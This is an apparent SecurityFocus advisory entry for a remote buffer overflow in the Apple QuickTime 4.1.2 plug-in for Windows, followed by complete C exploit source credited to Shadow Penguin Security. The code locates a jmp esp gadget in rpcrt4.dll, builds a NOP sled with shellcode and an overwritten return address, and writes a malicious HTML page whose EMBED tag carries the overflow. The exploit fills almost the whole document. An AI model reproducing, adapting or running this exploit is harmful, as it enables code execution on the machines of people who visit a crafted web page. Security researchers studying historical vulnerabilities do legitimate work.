source: https://www.securityfocus.com/bid/2328/info
Apple Quicktime plugin for Windows is vulnerable to a remote buffer overflow.
A maliciously-constructed web link statement in a remote HTML document, which contains excess data argumenting an EMBED tag, could permit execution of hostile code.
/*====================================================================
Apple QuickTime 4.1.2 plug-in exploit
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
====================================================================
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define MOV_FILE "c:\\program files\\quicktime\\sample.mov"
#define HEIGHT 60
#define WIDTH 60
#define TARGET "QUICKTIMEPLAYER"
#define FILE_IMAGE \
"<html><embed src=\"%s\" href=\"%s\" "\
"width=%d height=%d autoplay=\"true\" "\
"target=\"%s\"><br></html>"
#define BUFSIZE 730
#define RET 684
#define ESP_TGT "rpcrt4.dll"
#define JMPESP_1 0xff
#define JMPESP_2 0xe4
#define NOP 0x90
unsigned char exploit_code[200]={
0x33,0xC0,0x40,0x40,0x40,0x40,0x40,0x50,
0x50,0x90,0xB8,0x2D,0x23,0xF5,0xBF,0x48,
0xFF,0xD0,0x00,
};
main(int argc,char *argv[])
{
FILE *fp;
char buf[BUFSIZE];
unsigned int i,pretadr,p,ip,kp;
MEMORY_BASIC_INFORMATION meminfo;
if (argc<2){
printf("usage : %s Output_HTML-fileName [Sample .mov file]\n",
argv[0]);
exit(1);
}
if ((void *)(kp=(unsigned int)LoadLibrary(ESP_TGT))==NULL){
printf("%s is not found.\n",ESP_TGT);
exit(1);
}
VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION));
pretadr=0;
for (i=0;i<meminfo.RegionSize;i++){
p=kp+i;
if ( ( p &0xff)==0
|| ((p>>8 )&0xff)==0
|| ((p>>16)&0xff)==0
|| ((p>>24)&0xff)==0) continue;
if ( *((unsigned char *)p)==JMPESP_1
&& *(((unsigned char *)p)+1)==JMPESP_2)
pretadr=p;
}
if ((fp=fopen(argv[1],"wb"))==NULL){
printf("File write error \"%s\"\n",argv[1]);
exit(1);
}
memset(buf,NOP,BUFSIZE);
memcpy(buf+700-12,exploit_code,strlen(exploit_code));
buf[BUFSIZE-2]=0;
ip=pretadr;
printf("EIP=%x\n",ip);
buf[RET ]=ip&0xff;
buf[RET+1]=(ip>>8)&0xff;
buf[RET+2]=(ip>>16)&0xff;
buf[RET+3]=(ip>>24)&0xff;
if (argc==2)
fprintf(fp,FILE_IMAGE,MOV_FILE,buf,WIDTH,HEIGHT,TARGET);
else
fprintf(fp,FILE_IMAGE,argv[2],buf,WIDTH,HEIGHT,TARGET);
fclose(fp);
printf("Done.\n");
}
-----
UNYUN
% The Shadow Penguin Security [ http://shadowpenguin.backsection.net ]
shadowpenguin@backsection.net (SPS-Official)
unyun@shadowpenguin.org (Personal)
% eEye Digital Security Team [ http://www.eEye.com ]
unyun@eEye.com
